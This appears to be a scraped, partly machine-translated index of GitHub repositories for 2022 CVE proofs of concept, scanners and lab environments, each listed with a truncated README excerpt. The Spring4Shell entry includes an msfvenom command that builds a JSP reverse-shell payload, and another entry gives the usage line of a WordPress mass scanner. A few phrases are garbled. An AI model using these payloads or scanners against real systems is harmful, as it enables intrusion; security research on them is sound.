diffplug__goomph_CVE-2022-26049_3-37-1

Goomph: IDE एक बिल्ड आर्टिफैक्ट के रूप में SWT, OSGi, p2 और Eclipse RCP के साथ काम करने के लिए प्लगइन्स भी...

cve-2022-30190-mitigate

لا يحتوي هذا المستودع على ملف README...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

ملحق Docker Commons API لـ Jenkins ملحق API يوفر الوظائف المشتركة للعديد من الملحقات المتعلقة بـ Docker. ملخص API لإدارة بصمات صور وحاويات Docker بيانات الاعتماد وموقع سجل Docker بيانات الاعتماد وموقع خادم Docker المعروف أيضًا باسم Docker Remote API ToolInstallation لعملاء Docker CLI نقطة تمديد...

Fast-CVE-2022-22965

الجهاز المستهدف root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest جوهر الـ reverse shell هو بالرجوع إلى msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp بعد ترميز JSP بعنوان URL، استخدم %3C%25 استبدل %25%7Bc2%7D...

CVE-2022-0847-DirtyPipe-Container-Breakout

إثبات مفهوم للانفلات من الحاوية عبر DirtyPipe يحتوي هذا المستودع على إثبات مفهوم PoC لثغرة النواة dirtypipe، وذلك للانفلات من الحاوية. يمكن العثور على مزيد من الشرح في هذه التدوينة...

imagemagick-lfi-poc

ImageMagick LFI PoC CVE-2022-44268 The researchers at MetabaseQ discovered CVE-2022-44268, i.e. ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image e.g., for resize, the resulting image could have embedded the content of an arbitrary remote file if the...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

project_BIT_nmap_script

برنامج بايثون لاكتشاف الثغرة الأمنية CVE-2022-32073 في الشبكات الكبيرة يقوم برنامج بايثون هذا بتشغيل nmap على عنوان يتم تمريره كوسيط، وبشكل افتراضي يعمل على جميع المنافذ ولكن يمكن أيضًا إعطاء رقم المنفذ كوسيط. يقوم بتشغيل nmap مع نصوص wolfsshversion.nse المخصصة التي تستخدم البصمة الرقمية لتحديد...

harbor

团队紹介 重庆九宫格安全团队 はオープンソースのセキュリティツールの共有に取り組んでおり、研究分野はRed Team/Blue Team対抗、Webセキュリティ、モバイルセキュリティ、セキュリティ開発、エンタープライズセキュリティ構築、IoT/産業制御セキュリティ/AI/量子セキュリティなど多岐にわたります。セキュリティに興味がある方はぜひフォローしてください。 harbor CVE-2022-46463 全自動ダウンロードスクリプト...

refresh

Refresh This container emulates the vulnerable functionality of CVE-2022-1388 in an F5 Router allowing RCE. CVE-202201388 stems from a complicated relationship between different authentication mechanisms and broxying that stripped Headers allowing improper access to admin endpoints in the webapp...

ez-iRZ

ez-iRZ استغلال لـ CVE-2022-27226 ثغرة تزوير طلب عبر المواقع CSRF تؤدي إلى تنفيذ تعليمات برمجية عن بعد في أجهزة التوجيه المحمولة iRZ الاعتمادات John Jackson Chris Mack --- https://github.com/0xHalcyon Stephen Chavez --- https://github.com/redragonx/ Robert Willis الوصف تسمح مشكلة CSRF في أجهزة...

CVE-2022-40140-SCANNER

لا يحتوي هذا المستودع على ملف README...

payara__Payara_CVE-2022-37422_5-2022-2

Payara Platform الإصدار المجتمعي أنشئ. ابتكر. ارتقِ. يتميز إصدار مجتمع Payara Platform بوقت تشغيل خادم مفتوح المصدر لمشاريع التطوير وتطبيقات Jakarta EE وMicroProfile المحفوظة. Payara Server Community هي منصة وسيطة مفتوحة المصدر مبتكرة وسحابية أصلية لمشاريع التطوير تدعم تطبيقات Jakarta EE Java EE ...

CVE-2022-21882

CVE-2022-21882 Vulnérabilité d'élévation de privilèges Win32k Pour Windows 10 21H2 uniquement...

openssl-1.1.1g_CVE-2022-0778

OpenSSL 1.1.1g 21 Apr 2020 Copyright c 1998-2020 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. DESCRIPTION The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, fully featured, and Open Source toolkit implementing the...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 معرّف CVE لهذه الثغرة هو CVE-2022-26318...

spring-shell-vuln

spring-shell-vuln Spring4Shell: Spring कोर RCE भेद्यता Spring ने Spring Framework में RCE की पुष्टि की है। टीम ने अभी-अभी इस मुद्दे के लिए बयान और शमन मार्गदर्शिकाएँ प्रकाशित की हैं। अब, इस भेद्यता को CVE-2022-22965 के रूप में ट्रैक किया जा सकता है। Spring4Shell भेद्यता के बारे में कुछ जानकारी और...

Spring4Shell-CTF

Spring4Shell CVE-2022-22965 Vulnerability Environment Setup and CTF Challenge Design Project Overview This project includes dual-track security research implementations: 1. Traditional Vulhub Environment Setup : Leveraging the open-source Vulhub vulnerability database to quickly reproduce the...

CVE-2022-29455

CVE-2022-29455 Mass Scanner for CVE-2022-29455 on Elementor Plugins Wordpress Usage : python cve-2022-29455 list.txt threads...

BotCon

بوتكون ثغرة تنفيذ تعليمات برمجية عن بعد غير مصادق عليها في أطلاسيان كونفلونس عبر حقن OGNL CVE-2022-26134 في 2 يونيو 2022، أصدرت أطلاسيان نشرة أمنية لتطبيقات Confluence Server وConfluence Center، مسلطة الضوء على ثغرة خطيرة جداً تسمح بتنفيذ تعليمات برمجية عن بعد بدون مصادقة. تسمح ثغرة حقن OGNL...